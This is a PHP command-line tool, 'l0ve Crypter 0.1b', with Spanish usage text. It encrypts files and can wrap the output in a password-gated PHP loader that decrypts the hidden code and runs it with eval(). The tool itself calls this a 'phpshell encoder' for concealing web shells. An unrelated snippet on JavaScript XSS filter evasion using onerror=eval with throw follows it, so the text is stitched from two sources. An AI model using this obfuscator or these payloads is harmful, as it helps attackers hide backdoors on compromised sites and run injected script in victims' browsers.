<?php
# l0ve.diosdelared . c0m
#Archive encoder/decoder and phpshell encoder.
# l0ve.diosdelared . c0m
#By l0ve

function encrypt($entrada, $salida, $password, $tipo, $encode, $si) {
switch ($tipo) {
    case 1:
	$enc = MCRYPT_GOST;
        break;
    case 2:
	$enc = MCRYPT_RIJNDAEL_256;        
	break;
    case 3:
	$enc = MCRYPT_XTEA;
        break;
    case 4:
	$enc = MCRYPT_RIJNDAEL_128;
        break;
    case 5:
	$enc = MCRYPT_RIJNDAEL_192;        
	break;
    case 6:
	$enc = MCRYPT_RC2;
        break;
    case 7:
	$enc = MCRYPT_CAST_256;
        break;
    case 8:
	$enc = MCRYPT_CAST_128;
        break;
    case 9:
	$enc = MCRYPT_BLOWFISH;
        break;
    case 10:
	$enc = MCRYPT_3DES;
        break;
    default:
	$enc = MCRYPT_DES;
	break;
}
# l0ve.SPAM(137)
#Archive encoder/decoder and phpshell encoder.
#By l0ve
$td = mcrypt_module_open(''.$enc.'', '', MCRYPT_MODE_ECB, '');
$iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_DEV_RANDOM);
$ks = mcrypt_enc_get_key_size($td);
$key = substr(md5($password), 0, $ks);
mcrypt_generic_init($td, $key, $iv);
$lala = file_get_contents($entrada);
echo "Cifrando .. $enc\n";
if($encode == "encode") {
$encrypted = mcrypt_generic($td, $lala);
echo "Agregando Base64 ..\n";
$lala = base64_encode($encrypted);
} else {
echo "Descifrando .. $enc\n";
$encrypted = mdecrypt_generic($td, trim(base64_decode($lala)));
}
# l0ve.SPAM(137)
#Archive encoder/decoder and phpshell encoder.
#By l0ve
$arch = fopen($salida, 'w');
if($si == 'si') {
fwrite($arch, '<?php
if($_GET[\'pass\'] == "si") {
    $td = mcrypt_module_open(\''.$enc.'\', \'\', MCRYPT_MODE_ECB, \'\');
    $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_DEV_RANDOM);
    $ks = mcrypt_enc_get_key_size($td);

    $key = substr(md5($_GET[\'p\']), 0, $ks);

    mcrypt_generic_init($td, $key, $iv);
$lala = \''.$lala.'\';
    $decrypted = mdecrypt_generic($td, trim(base64_decode($lala)));
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);
eval($decrypted);
}
?>');
fclose($arch);
echo "Cifrado completo!\nMirar: $salida";
} else {
fwrite($arch, $lala);
fclose($arch);
echo "Cifrado Completo!\nMirar: $salida";
}

}
# l0ve.SPAM(137)
#Archive encoder/decoder and phpshell encoder.
#By l0ve
if(count($argv) == '7') {
$entrada = $argv[1];
$salida = $argv[2];
$password = $argv[3];
$tipo   = $argv[4];
$encode = $argv[5];
$si 	= $argv[6];
encrypt($entrada, $salida, $password, $tipo, $encode, $si);  
} else {
echo "#################\nl0ve Crypter 0.1b\n#################\nUsage: $argv[0] entrada salida contraseña tipo encode|decode si|no

Entrada ------- Archivo a cifrar
Salida  ------- Nombre del archivo de salida
Password ------ Contraseña para cifrar/descifrar
Tipo    ------- Tipo de Cifrado
Encode|Decode - cifrar o descifrar
si|no   ------- Soporte Php_shell?

Tipos de Cifrado: (opciones)

1  - GOST
2  - RIJNDAEL_256
3  - XTEA
4  - RIJNDAEL_128
5  - RIJNDAEL_192
6  - RC2
7  - CAST_256
8  - CAST_128
9  - BLOWFISH
10 - 3DES
11 - DES\n";
}
?>

So in javascript we have a onerror handler which is also on the window object, this means if we assign a function to onerror we can call it by generating a javascript error! How do we generate a javascript error? Throw is a nice way, this means throw can pass an argument to a function you can create some pretty awesome crazy looking javascript.


onerror=alert;throw 1;

This works on every browser apart from Firefox *, Safari and IE will just call the function with the argument but Chrome and Opera add uncaught to the argument. This is no big deal though since we can just modify it slightly and use a different object as an argument such as a string.


onerror=eval;throw'=alert\x281\x29';